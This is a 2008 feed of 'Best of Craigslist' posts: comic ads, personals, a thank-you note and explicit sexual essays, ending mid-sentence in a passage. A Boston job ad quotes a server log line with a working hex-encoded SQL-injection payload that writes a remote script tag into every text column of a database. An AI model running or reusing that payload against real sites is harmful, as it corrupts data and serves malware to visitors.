Best of Craigslist

Best of Craigslist http://www.craigslist.org/about/best/ Best postings from craigslist.org, selected by readers en-us Copyright 2008, craigslist.org webmaster@craigslist.org webmaster@craigslist.org http://www.craigslist.org/about/best/ Best of Craigslist Collection 2008-07-11T02:53:53-04:00 2 daily ALL UTIL. INCLUDED!!! THIS IS THE ONE YOU'VE BEEN WAITING FOR!! http://www.craigslist.org/about/best/nyc/750541218.html GORGEOUS 10 x 14 BEDROOM, DRENCHED WITH LOTS OF AFTERNOON SUNLIGHT, GENEROUS CLOSET SPACE, CLEAN BATHROOM, NICE COMMON SPACE AND STORAGE. W/D IN BASEMENT (COIN-OP ALTHOUGH LANDLORD IS IN PROCESS OF MAKING IT FREE!) AND ELEC/COOKING GAS/HI-SPEED INTERNET/TRASH PICK-UP INCLUDED IN RENT. STREET PARKING. CLOSE TO HOSPITALS AND SOME SHOPPING. LIVE WITH TWO QUIET ROOMMATES BOTH STUDENTS (ONE INTERNATIONAL) NO DRINKING/DRUGS, CALM LIVING ENVIRONMENT FOR RIGHT INDIVIDUAL WITH REGULAR HOURS. THERE IS ONE SMALL CATCH THAT HAS NOT BEEN A PROBLEM AT ALL WITH PREVIOUS TENANTS. BEDROOM MUST BE SHARED WITH APPROX. 700 LB. ADULT MALE SILVERBACK GORILLA. THIS IS AN EASTERN LOWLAND GORILLA WHO IS FAIRLY DOCILE ALTHOUGH HE DOES NEED TO "STRETCH HIS LEGS" FROM TIME TO TIME. HE FEEDS ON FRUITS AND LEAVES AND HAS SOMEWHAT OF AN INTENSE SEXUAL APPETITE. BIG KITCHEN WITH BREAKFAST AREA. BEDROOM WINDOWS FACE REAR COURTYARD NO TRAFFIC NOISE! SOMEWHAT LOW CEILINGS BUT GUT RENOVATED WITH HARDWOOD FLOORS AND ORIGINAL MOLDINGS. NOT RAILROAD! SEPARATE ROOMS WITH TWO ENTRANCES. SECOND FLOOR WALK-UP. YEAR LEASE REQUIRED. FIRST AND LAST PLUS SECURITY. TOTAL OF $1155 MOVE-IN COST. THIS WILL NOT LAST. NO BROKERS PLEASE. <ul> <li> Location: BUSHWICK <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-11T02:53:53-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/nyc/750541218.html ALL UTIL. INCLUDED!!! THIS IS THE ONE YOU'VE BEEN WAITING FOR!! text Doormat seeks muddy boots http://www.craigslist.org/about/best/sfo/749878367.html Do you have a drinking problem? Do you believe your crappy childhood exempts you from having to be nice to other people? Is "enraged" the only emotion you are capable of feeling? Do you make twice as much as me, yet still need to borrow money a week after you get paid? If so, I am the lady for you! I'm a queer femme who enjoys being yelled at, ignored, and told what is best for me. I'm short, thin (maybe that will trigger your teenage eating disorder issues! Feel free to blame me!), and smart (unless you find that threatening! In which case I am not as smart as you!). I do have clinical depression, which I manage with medication and, ideally, a steady supply of judgment from you. I'm looking to continue along my current dating path with someone who is immature, unpleasant, and bad at listening. Bonus points if you: -fetishize my mixed-race background, use it to impress your liberal white friends, and know exactly what "my people" are doing wrong -make "ironic" racist jokes -are a spoiled-ass mama's boy -have no friends of your own, preferring to use me for all of your emotional needs (if you must have your own friends, I would rather you use them to cheat on me and/or commiserate about what a terrible girlfriend I am) -hate fat people (although I am not fat myself, I love it when people rip on my friends and expect me to agree because of my genetics) -understand that being an asshole and apologizing for it later is exactly the same as not being an asshole in the first place -use "non-normatively gendered" as a synonym for "teeming with internalized misogyny" Hopefully we can build a lasting relationship and maybe move in together so that you can decorate the apartment with old beer cans filled with cigarette butts and containers of half-eaten takeout food covered in fruit flies. Don't worry, I'll clean up after you. I'd prefer if you are white and middle-class so you can lord it over me all the time. Physical age unimportant as long as you are emotionally 9 years old. Your pic gets mine!!! <ul> <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-10T12:20:19-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/sfo/749878367.html Doormat seeks muddy boots text GAP JEAN MINI SKIRT, size 1, FREE http://www.craigslist.org/about/best/sfo/748763960.html maybe it was the scorching hot weather in the mission today, or the 2 huge canvas bags and one plastic full of perishing groceries that i was lugging down folsom st with the sound of jack hammers ruthlessly invading the only spare sensory space that i had left in my being, or the gross men making comments and staring me down like a bunch of motherf*&#king animals or maybe it was the fact that the skirt rides up when i am walking fast and not fixing it every 15 steps because i don't have the hips to keep it in place, i never have and never will, only reminding me of the awkward preteen years in middle school, or maybe it was the fact that it has no back pockets and meager front pockets that slowly edge any contents as i walk flinging my grocery list pen on the ground for me to have to bend over to get with a crap load of swinging bags of groceries or maybe i was just tired of all the b.s. when i made the decision, but regardless of the circumstances surrounding my choice to end my relationship with my Gap, size 1,basic jean mini skirt, it is truly over and UP FOR GRABS to the first taker. <img src="748763960.jpg"> <ul> <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-09T14:50:07-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/sfo/748763960.html GAP JEAN MINI SKIRT, size 1, FREE text Maxwell's silver hammer http://www.craigslist.org/about/best/sac/748385561.html Hello all! Straight from Beatles lore, I am in possession of Maxwell's silver hammer. This may or may not be THE Maxwell's hammer, but my nephew (used to be neice, but we won't get into that here) Maxwell has decided he no longer wants to place his "delicate fingers in harm's way" and is now, along with being absolutely worthless, giving up his hammer. The hammer is a 16 oz. framing hammer, great shape, used only by soft and moisturized hands (God knows). Come get it. <ul> <li> Location: Sacramento <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-09T10:23:06-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/sac/748385561.html Maxwell's silver hammer text Autographed Copy of Plato's Republic http://www.craigslist.org/about/best/chi/748263604.html 1st edition of The Republic signed by its author. There is of course a reasonable amount of wear and tear, (light highlighting and underlining, dog-eared pages, back cover missing, etc.), but it is in overall good condition considering its age. First come first serve <ul> <li> Location: chicago loop <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-09T11:00:00-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/chi/748263604.html Autographed Copy of Plato's Republic text need a female companion 4 anything http://www.craigslist.org/about/best/okc/746768719.html I need female at least 18 and no more than 50 years old to spend the day with this summer. I prefer for them to live near Penn Square Mall. If not, then at least somewhere I can ride the city bus to meet them. I also prefer for them to be a city bus rider. One other thing: ABSOLUTELY NO MALES, GUYS, NOR BOYS!!!!!!!!! If you are a male, then I will not answer your reply. I hope this does not creep or offend anybody. Thank you. <img src="746768719.jpg"> <ul> <li> Location: OKC <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-08T09:12:59-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/okc/746768719.html need a female companion 4 anything text Please Don't Flag This, I Really Need To Thank These Strangers http://www.craigslist.org/about/best/rno/746570454.html Ok, so people often ask, where are the good kind people anymore? Driving on Mt.Rose Hwy, and serving our communties is where! So I'm coming home to Reno on my motorcycle Saturday Evening after a short ride up to the top and back down cuz it was too smokey up there, somewhere around 8pm I think? Anyways... Near the bottom, I hit some oil, gravel, not sure what... but even as an experienced rider for some 30+ years, made my bike wobble so bad, I eventually lost control after doing everything I could try to do to keep it up. From what I hear, might have even hit a guard rail at some point during the crash, no memory so not sure, all I do know is next thing I'm on the pavement in a ton of pain. Rolling in the road I think... Stranger #1 - Then, there was a hand... holding mine, comforting me thru my gloves... Kept hearing a voice that I think was female telling me "everything was gonna be ok" and "help is on the way". Couldn't really open my eyes much, that's why I'm not sure if it was male or female, but it didn't really matter at that point, ya know? I just know 'till the day I die, I will forever remember how comforting it felt to know that "if" I was gonna die then, someone was gonna be holding my hand while it happened and I would not die alone on some road tasting asphalt. You have no idea what that meant to me, still does, and always will. You probably also have no idea how much gratitude I would like to express to you for the comfort you gave me, a complete stranger, when I really, REALLY needed it. I just remember your hand, rubbing mine and your soft, kind, compassionate words letting me know, someone cared. You didn't just drive by, you took time out of your Holiday weekend to help me - some fat ass biker guy that some here on CL wish we would all crash and die. Stranger #2 No clue who this was either, but someone called police/ambulance, etc. super quick and there they were, hot on the spot within minutes. (felt like minutes to me anyways, damn quick!), can't thank you enough and damn glad ya had signal...hahaha! Stranger #3 Again, same as the others, no idea who you were, but I heard someone else say something I think about removing my helmet. In my mind I was thinking please, please don't do that, but I couldn't say it. But you could and did, you spoke up and advised against it. Damn I am glad there are people like you who know better and again, my sincere appreciation and grattitude to you as well. Strangers #4, 5, 6, 7, 8, etc.. To all the police firemen/women, ambulance drivers, person in the back of the ambulance.. to all of you emergency responder type people who showed up who did whatever it was you had been trained to do, and loaded me on some kind of back board or something I think, and then put my big ol' self in the ambulance and got me to Renown so quickly - my most humble thanks and appreciation as well. I know you were "just doing your jobs", but damn you do them well! You will NEVER hear me bitch about your pay raises or what it costs for the absolute QUALITY services you provide our community! I do know of one policeman or hwy patrolmen who I think arranged to have my bike towed and visited me in the ER letting me know it's condition and where it had been towed to, cuz he put his badge number on my insurance paper, as I get better in the next few days I would like to find you and thank you in person since I have a clue on maybe how to find you from the badge #. You also gathered my personal belongings I had on the bike that would have been stolen for sure. (cam corder, etc..) Yes, I know, small things to worry about in that moment, but you made sure I didn't have to, again, thank you for going out of your way for my needs. To all the Dr.s, Nurses, and whoever else was working in that ER room, my eternal thanks and grattitude as well. Man I was hurting, them ribs are a bitch when smashed, but you folks all again, did what you were trained to do in the finest proffesional manner (even on the embarssing stuff) and I just knew from all your demeanors, I was gonna be ok. I am sure there are some typos and mis-spellings in this post, forgive me as i am on some pretty strong pills for pain, but i just got to my computer and wanted to get these thank yous out as soon as possible. All of you people just really have no clue what your kindness and compassion meant, and means to me even now.I would like to let you all know, that from your kindess, skills and so on... I'm going to be ok. Could have been a lot worse, but thanks to good people like you, a damn fine helmet and a little luck, both I and the bike are fixable. If there is any chance of any of you "unknowns" letting me know who you are, I would greatly like to thank you all in person, if that's not your style, I respect that and just know you meant alot to one hurting, scared guy, yeah... I was scared I'll admitt to it no problem! Last and not forgotten in any way, once I was admitted to the 3rd floor, all the Nurses, CNA's, Orderlies, people waking me up every few hours to check my vitals and stuff, I also sincerely thank you, but since I know how to re-find you all, i will be seeing you again in person to thank you properly, especially Melissa, a nurse or CNA not sure, but one awesome lady I did not have enough time to thank properly today as I left! I really wish I could have stayed and healed longer as today really ended up hurting, but you know why I had to leave. You friggin ROCK! Sincerely, Tim H. <ul> <li> Location: Bottom of Mt. Rose Hwy <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-07T22:59:10-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/rno/746570454.html Please Don't Flag This, I Really Need To Thank These Strangers text MISS ME! Goddamnit!! - m4w http://www.craigslist.org/about/best/nyc/746487587.html Every week I check this damn thing to see if anyone in this city of millions has missed me. What gives? I ride the train no less than twice a day, five or more days a week. I'm pressed against some of you in the commute to/from work. Haven't any of you women missed me? I go to the park. I shop at places. I walk around. I wear shoes. I have ear phones. I drink stuff. Where's my missed connection? Start missing me already, goddamnit. I am very easy to miss. Monday: Go to work after the weekend. Try not to sweat in the sweltering humidity of the subway. No one misses a sweater. Listen to music to drown out the reality of being stuck in the train with a million strangers; avoid eye contact at all cost. Bullshit about the weekend with the coworkers until quitting time. Get caught up on CL. Tuesday: Go to work. Eat at one of same four places around work. Walk around a little during lunch, hoping to bump into someone new. Go home and contact friends to make plans for the weekend. Check CL. Wednesday: Go to work. Getting adventurous now and spend most of lunch break wandering around trying to find someplace new to eat. Realize nothing of interest has been built since I checked last week. End up eating at one of four usual places. Try taking a different route home. This time try to make eye contact with as many strangers as I can on train/bus/ferry/foot. Thursday: Go to work. Spend most of lunch hour running errands, returning library material, getting money from the bank, and calling up friends to reconfirm plans. Go shopping after work. Walk up and down each aisle to make doubly sure everyone has had a chance to miss me. Get home and get frustrated that still no one has posted with my description. Friday: Go to work. Spend all day waiting for work to end. Take smoking break. Look around for smokers to miss. Get out of work. Forget all about CL. Find friends and go eating/drinking/event attending. See more strangers in one night than rest of week combined. Stumble home at ungodly hour. Saturday: Wake up at some point. Roll over to the park. Maybe check out a museum. Try to look deep and lost in thought. Feel envious of all the people missing connections right before my eyes. Think about posting when I get home. Get home and forget or become crushed by laziness or the ennui of it all. Look up ennui in dictionary. Sunday: Fuck it. I'm sleeping in. I'm doing laundry. I'm ordering take-out. I'm not leaving the damn house. You've had your chances all week. I'm taking a me day. I'm reading a book. And by reading, I mean surfing the internet; whereas by book, I mean porn. Knock myself out with the usual roofie-colada, wine + sleeping pill, so I can wake up in the morning and pack myself into an overcrowded train to get to work and check CL. Fucking miss me already. I can't do this forever. <ul> <li> Location: the train <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-08T00:00:19-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/nyc/746487587.html MISS ME! Goddamnit!! - m4w text My Pubic Hair Epiphany http://www.craigslist.org/about/best/sdo/746470334.html Vaginas are pretty. Ok, I dont actually think thats true. Its not any sort of inner self loathing, I just dont find all the wrinkly folds and the odd array of skin tones very awe inspiring. Perhaps its that my aesthetics meter just isnt calibrated properly. I also fail to see splendor when I look at babies. Perhaps you just need to be more familiar with an object to truly appreciate its subtleties and grace. For example it always seems to be mothers spouting on about the gorgeousness of babies and porn stars talking about beautiful beavers. All this being said I had an epiphany recently. A vagina has enough going for it that its worth the extra effort to stop that unruly mop from hanging in its eyes. My old view which was, why not let the poor thing live out its homely life in peace, has been changed to my muff is like Allison from The Breakfast Club. You might remember Allison, she was the depressed, unsightly gal with crazy hair that covered most of her face. But, at the end she lets Molly Ringwalds character do her hair and you realize shes actually quite lovely. Where is Molly Ringwald when you need her? What would cause this type of 180 you ask, online video porn of course. I was just introduced to the wonders of YouTube-like porn sites by my husband who swears he only hears about such things from his vulgar co-workers. Being a modern sort of couple we like to use technology to our advantage whenever possible which includes huddling around a laptop in bed watching raunchy homemade video porn vignettes. After some sheepish discussion on what keyword searches we should try (btw, Abercombie & Fitch model seducing average looking woman in a Tahitian hotel bar before taking her out to his yacht to have hot, sweaty, above deck sex doesnt turn up any results, so dont bother), we hit upon Eating Pussy Lesson. I was thinking we would get something along the lines of the clit is not a myth and yes you do actually need to put your mouth on it to be successful, but what I got was much, much better. I mature blond woman still a looker but someone you genuinely felt you could take anatomical advice from gave the lesson on a young buxom blond in a bustier. Our teacher furthered both the scientific and fetishistic quotient by wearing black rubber gloves. I wont get into the details except to say that I learned a great deal from this woman and by the end felt that the vagina was a brilliant piece of equipment that should receive at least as much attention as a car does; a regular wash & wax and the occasional splurge on the deluxe wheel rim package with papaya scent. But lets be realistic, rarely do epiphanies happen in a vacuum. There was a bit of a lead up to this. As I stated earlier I felt that my lower coif needed little attention and that this was a reasonable and widespread course of action. And of course I was right. The average American woman does choose to let nature take its course down below. However, as my recent anecdotal and completely unscientific research clearly indicates the average single American woman between the ages of 20 and 35, who lives in an urban area (particularly in Southern California), waxes the shit out of her va-jay jay. Yes, that dreaded South American spa treatment, and the closest most of us will ever get to a lesbian sex act the Brazilian wax job. I was in many ways shocked to learn that most of my friends partake. I thought there were few reasons girls like us might obtain a Brazilian. Among them might be an upcoming stint in Amateur Girls Take Hot Cock 7, or a date with Ron Jeremy. These otherwise normal women in my life were shelling out $70 a pop to let a small asian woman take them in a back room and rip out their anal hair. Yikes. One of my friends is actually lasering her beave completely bald. Double yikes. This last conversation was had over a round of beers at a local pub and I was the only one in the group who had to scoop her chin up off the table. The rest of the ladies felt this was not only a wise aesthetic choice, but smart from an economic point of view also. Pay several hundred dollars now but never have to pay for a wax job again, let alone a razor. Dont be surprised if you see laser yourself bald as hot new tip for financially savvy females in Suze Ormans next book. After my informal education I was certainly more aware that bush hair removal on a massive scale was far more common than I ever thought. Regular gals are out there with landing strips or nothing at all and I suppose regular guys have come to expect it. To think my poor husband had to work around all that fluff for years. But if youre hoping for me to wrap this up with a Brazilian salon recommendation, youre out of luck. Im going to have to count myself as a moderate on this issue. Ill go for an advanced bikini wax (a la landing strip), and Ill even keep it nice and trim with a pair of safety scissors. But to whatever confused stray hairs made a right when they should have made a left and ended up doomed to a life next to my butt hole, I say live and let live. <ul> <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-07T20:41:09-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/sdo/746470334.html My Pubic Hair Epiphany text need girl to please teach me to kiss - m4w http://www.craigslist.org/about/best/atl/744997359.html As seen on TV! I'm a 20 yearold GA Tech student who has never kissed. I have been going out with a girl online for the last 5 years and she's finally coming down to see me on the 11th. She tells me it's a big turn-off if a guy doesn't know how to kiss, and she even dumped her last boyfriend because of this. I want to make a good first impression, but I've never kissed before! Please, I need a girl to practice kissing with, nothing else!! Just kissing lesson - nothing more nothing less! Some have asked if I have terrible oral hygiene or something of that sort, so I included a picture of me showing my teeth! I'm pretty normal overall. Will send more pics on request! Email me at mmccarty3 at gatech dot edu Never been kissed <img src="744997359.1.jpg"> <img src="744997359.2.jpg"> <ul> <li> Location: atlanta or cobb or marietta or anywhere <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-06T22:22:16-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/atl/744997359.html need girl to please teach me to kiss - m4w text Web Security Consultant / Database Expert Needed over Weekend http://www.craigslist.org/about/best/bos/742662737.html We have a growing travel website that has been down for the past two weeks. We have been experiencing repeated attacks - sql injections that crash our database. Our developer has tried to fix this but has not been able to, due to time allotment, she works on a part-time basis and the fact that we can't restore database independently because of shared hosting environment/knowledge. We have been trying fixes but have not been able to do it yet. And our host has extremely limited availability to restore the db when it is crashes. So I would need someone to review our fixes, and show me or teach me how to fix this manually in the code and then copy the database and restore it myself, and then make sure we are tightened up and secure against other attacks. Let's discuss rates and capabilities. The sooner the better. Here is one of the hacks 41.232.166.49 - - [30/Jun/2008:17:02:38 +0000] "GET /filename.aspx?letter=A;DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST (0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E20455845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E737570706164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- HTTP/1.1" 200 Some posts about it <a href="http://www.secureworks.com/research/blog/index.php/2008/6/4/new-round-of-mass-sql-injections/">http://www.secureworks.com/research/blog/index.php/2008/6/4/new-round-of-mass-sql-injections/</a> <a href="http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1318860,00.html">http://searchsecurity.techtarget.com/news/article/0,289142,sid14_gci1318860,00.html</a> <a href="http://www.microsoft.com/technet/security/advisory/954462.mspx">http://www.microsoft.com/technet/security/advisory/954462.mspx</a> <ul> <li> Location: Somerville <li> This is a part-time job. <li> This is a contract job. <li>Principals only. Recruiters, please don't contact this job poster. <li>Please, no phone calls about this job! <li>Please do not contact job poster about other services, products or commercial interests.</ul> webmaster@craigslist.org 2008-07-04T14:07:10-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/bos/742662737.html Web Security Consultant / Database Expert Needed over Weekend text Missed Connection: My Period (Crampsville) http://www.craigslist.org/about/best/cle/741336944.html I saw you a couple of months ago, but since then you haven't shown up at your regular place. Is there someone else standing in the way of us hooking up? Is there a fetus blocking you? Please come back and show me you care. I can't rest until I know where I stand with you. <ul> <li> Location: Crampsville <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-03T09:55:29-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/cle/741336944.html Missed Connection: My Period (Crampsville) text Guitarist of megalomaniacal speed seeks audience who won't combust http://www.craigslist.org/about/best/mad/740837104.html I'd like to start this off by saying one thing: IF YOU DON'T LIKE GUITAR, IF YOU HAVE A FAMILY HISTORY OF CARDIAC INFIRMITY, OR IF YOU ARE IN ANY WAY OF A WEAK DISPOSITION, HIT THE BACK BUTTON RIGHT AWAY. But who doesn't like guitar, right? I don't think you understand. Jimi Hendrix played guitar. Groucho Marx played guitar. I think Winston Churchill might have played guitar. What I play is something different. Picture a Verdi opera: 3 hours of music, some of beautiful and ennobling, at times piquant and subtle, other times dramatic and inspiring. Take those three hours of music, those thousands of musical notes, and compress them into 4 measures of incomprehensible speed, delivered with earth-shaking finesse and a raucous disregard for any physiological limit to human auditory perception. I cannot stress this enough: I will play guitar so fast your face will melt. The last girlfriend I had was dearer to me than anything that doesn't have steel strings and pickups. It's with a heavy heart that I must confess that she met a tragic demise. I sat her down to perform for her, as she had never heard me play. Within mere seconds of the furious and almost satanically fast deluge of musical notes, she burst into flames and was reduced to a smoldering pile of ash. I have grieved for 7 months, and now it is time to seek a hardier companion. I seek a woman of no flimsy construction who can tolerate the cyclone of death that my guitar will unleash upon her. Think about the scene in Raiders of the Lost Ark when the Holy Spirit (or whatever the hell that poorly rendered gaseous conglomerate was supposed to be) ravaged the Nazis by melting their flesh from their mortal bones. This is what my guitar playing does, except there is only vapor left, no bones. I cannot stress this enough: I will play guitar so fast the Earth will be rent asunder and armies of hellions will spew forth to wreak havoc upon the human population. I don't care if you are fat, thin, average, need attention, busty, or even whether you genetically qualify as a human being. All that I care about, the single thing that will hold my attention, is a woman who can listen to my terror-inspiring, WMD-unleashing, virgin-defiling, hell-bent-on-misanthropic-destruction tornado of picking and whammy bar stunts without dying immediately. If you think you can witness the senseless and brutalizing destruction that is my guitar playing without being maimed, incinerated, mutilated, lacerated, or dismembered in any way, please send me an email and I will arrange a meeting. Postscript: I think I'll have to have you sign documentation of release before we meet, however, as I am a wanted man in 48 states for assaulting an officer via sweep picking, and my guitar playing has been banned in Norway for causing several churches to burn to the ground. And yeah, I've never been to Norway. <ul> <li> Location: Madison <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-02T18:29:59-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/mad/740837104.html Guitarist of megalomaniacal speed seeks audience who won't combust text Want it from behind while you play Super Mario Brothers ? - m4w http://www.craigslist.org/about/best/orl/740493470.html Do you love to play Super Mario Brothers on the Classic Nintendo System? Do you like to get tagged from behind while you do it? This is the post for you then. You must know your way around the game before we meet, must be open to anal sex, also able to fake an orgasm is a plus. I will send you the address to a hotel and a room number. When you arrive the door will be open. Please come in close and lock the door and close the shades if they are still open. I will be in the bathroom and the door will be closed. Turn on the TV and the Nintendo. Remove all of your clothing. Turn off all lights in the room and kneel down on the bed so you are directly in the light of the TV. You need to be facing the TV with your butt in the air pointed toward the pillows on the bed. Press the start button on the controller when you are ready. I will hear the sound and turn the light off in the bathroom and come out. You will not look directly at me, only look at the TV. When the first level starts I will begin to finger you and lick you. I will be using lots of lube as well. When you reach the end of level one, make sure to trigger the fireworks. This is vital to the entire experience. I must hear the fireworks. When level 2 begins and Mario walks into the pipe, I will penetrate you. You may say things like, "MORE", "HARDER", "YES", "FUCK ME", but nothing else. I will continue having sex until the level ends. DO NOT take the secret level skip. If you die I will pull out and spank you until the level restarts. When you reach the flag you must again trigger the fireworks, and also orgasm. I will pull out. When the 1-3 starts I will penetrate your ass. You are allowed to say something like "OH GOD", "YES", OR "IT HURTS" no other conversation is allowed. When level 1-4 starts I will alternate between holes as I see fit. You may beg me to cum inside or outside of you, depending on what you want. When boss falls and you reach the princess I will pull out and blow my load where you have convinced me I want too. You may then say something like "Thanks", "It was great", "I loved it", "Don't stop" If I am impressed you may continue playing and I will continue to pleasure you. If I am not, I will turn the Nintendo Off and return to the bathroom. At this time you may clean your self with the towel that is beside the bed. Turn the lights on, redress yourself and leave. I may come back out and talk to you as you dress but the conversation will most likely be short and revolve around scheduling another time to get together. <ul> <li> Location: Orlando <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-07-02T14:35:28-04:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/orl/740493470.html Want it from behind while you play Super Mario Brothers ? - m4w text He's Out of My Life http://www.craigslist.org/about/best/sfo/738732197.html When I met Mr. Coffee, nobody told me Id be changing his diaper every single day just so that I could get my buzz on! It has become all part of the daily grind, after he burps out the final drops of the days brew. I feel that doing it 2x a day is an excessive interruption while I prepare my TPS reports for the next days meeting. I will confess to being a part-time Caffiend and part-time gadgetaholic. Mr. Coffee has been served an eviction notice, as I have already purchased and installed a programmable coffee maker + the requisite webcam to identify the person in our office who pours a full cup and leaves about a quarter inch of coffee in the pot --- without making a fresh one for everyone to share. So, off you go, Mr. Coffee: to Whomever wishes to adopt you, the paperwork has already been completed on your behalf. Simply give him a ride back to your place. Hes already trained and well-seasoned for tomorrows coffee shift. He's had no surgery to date. Hes thumbing a ride near the front door of the Capitola DMV. Ill miss you, Mr. Coffee. And, I never even knew your first name <ul> <li>it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-30T21:21:16-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/sfo/738732197.html He's Out of My Life text Stupid clock with day, month and date read out http://www.craigslist.org/about/best/oxr/736852115.html I bought this stupid clock on E-Bay for my 86-year old aunt, because she is getting confused. Unfortunately, I didn't realize until it arrived that you have to manually change everything, every day, except the time. Every day. Push three buttons. If you forget for a day, or only push two buttons, the large, black and white read-out that is so easy to read, is wrong. I found it made her even more confused. If the stupid clock said something, she believed it. I would call her up and tell her what day it is and she would argue with me, because her stupid clock said something different. Stupid clock. I bought her a new one that automatically changes every day. This stupid, battery operated clock is free to whomever wants it. You will find it easier to work in harmony with it if you are a fairly cognizant person. On the other hand, if you are not always cognizant and want to drive your family crazy, this is the PERFECT clock for you. <img src="736852115.jpg"> <ul> <li> Location: Mid-town Ventura <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-29T10:39:57-07:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/oxr/736852115.html Stupid clock with day, month and date read out text Gynecological table ISO a good home http://www.craigslist.org/about/best/chi/735090571.html Once upon a time I loved her intensely. She came to me via a Dominatrix, who had acquired her from a birthing center. After years of hard labor, she had come to rest in the sunny corner of my living room, to live out her days quietly napping and collecting dust. She has always been the ugly red-headed step child of my furniture, but she didn't mind. She would take attention where she got it, even if only a house guest mounting her for laughs. Now she sits around and mopes, taking up my entire living room because I am moving to Japan and won't take her with me. The home she needs has to be full of love, or queer perversion, or both. Tell me a little about yourself, and why you think you could give her a good home, and she is yours. Creepy guys with pick-up trucks from downstate who want to put it in their house of horrors need not apply. p.s. You must be able to move it yourself, and yes: there are stairs involved! This takes at least two very strong people, cuz she is a big girl! <ul> <li> Location: andersonville <li> it's NOT ok to contact this poster with services or other commercial interests</ul> webmaster@craigslist.org 2008-06-27T17:40:18-05:00 Copyright 2008, craigslist.org http://www.craigslist.org/about/best/chi/735090571.html Gynecological table ISO a good home text RAVE: My Life Since Getting Out of Prison http://www.craigslist.org/about/best/sfo/734069587.html I graduated from college in May, and this summer seemed like a good time to go through the box of papers and assignments I had been saving since the start, both to reminisce and to do a little cleanup. Tucked in a folder of an old notebook at the very bottom of the box was the essay that follows. Written in longhand, it was the first assignment from the first class in my first semester. *********************************************************** <tt> January 20, 2003 English 1A Professer ___________ <center>My Best Summer Memory</center> Hey man, Im not really sure if youre supposed to put an introduction in this thing, but here goes anyway. My name is ____________. My assignment today is to write an essay about the best thing that happened to me this last summer. I know everybodys been kinda looking at me in class, wondering why a dude in his thirties is taking English 1A instead of being out there working a job. Im not too keen on talking about myself much. Most folks arent, I guess, unless theyre Paris Hilton. But since the assignment is a personal essay I suppose I dont have much choice. Anyways the best thing that happened to me this last summer was when I finally got outta prison based on that DNA evidence. Ill tell you man, if you cant appreciate getting outta prison then you havent been there to begin with. For me it started about three years ago when this chick got murdered in East San Jose while opening up her plumbing supply shop. Me and Merle came by a couple weeks later to pick up some PVC for a sprinkler repair, and for some reason the dude behind the counter thought we was a little suspicious, so he called the cops. They put me in a line up, but of course the dude already knew what I looked like and what clothes I was wearing so it wasnt that tough to pick me out. Other than that there was no real evidence, but I didnt have an alibi and I had a couple drunk and disorderlies on my record back from when me and Merle used to fight each other for fun after closing time. They had it in their minds I was guilty, and they kept after me for two days, yelling and throwing stuff at me and telling me made-up stories about how Merle told them I did it. I always figured I was pretty tough but after awhile it just wore me down. I had to look at some pictures of death row and I got showed on my arm where the needles would go and everybody called me Dead Man Walking. They told me if I signed a confession I wouldnt get the death penalty and I had to think about that one pretty hard. The lawyer they assigned to me smelled like hed been pulling a cork during lunch and he fell asleep while they was questioning me. I knew I didnt do nothing but sometimes life just aint all fair, and this seemed like one of those times. So I signed. After the sentencing Merle sold my truck and moved all my stuff into storage for me, and promised me hed look after Mussel Shoals, my black lab. They sent me up to San Quentin, and when I got there, I was put in the section with the black dudes.I found out later thats what they do with new prisoners, except the blacks end up in the white section. I guess its to soften up the new inmates, I dunno. Whatever the reason it didnt take long for them to find 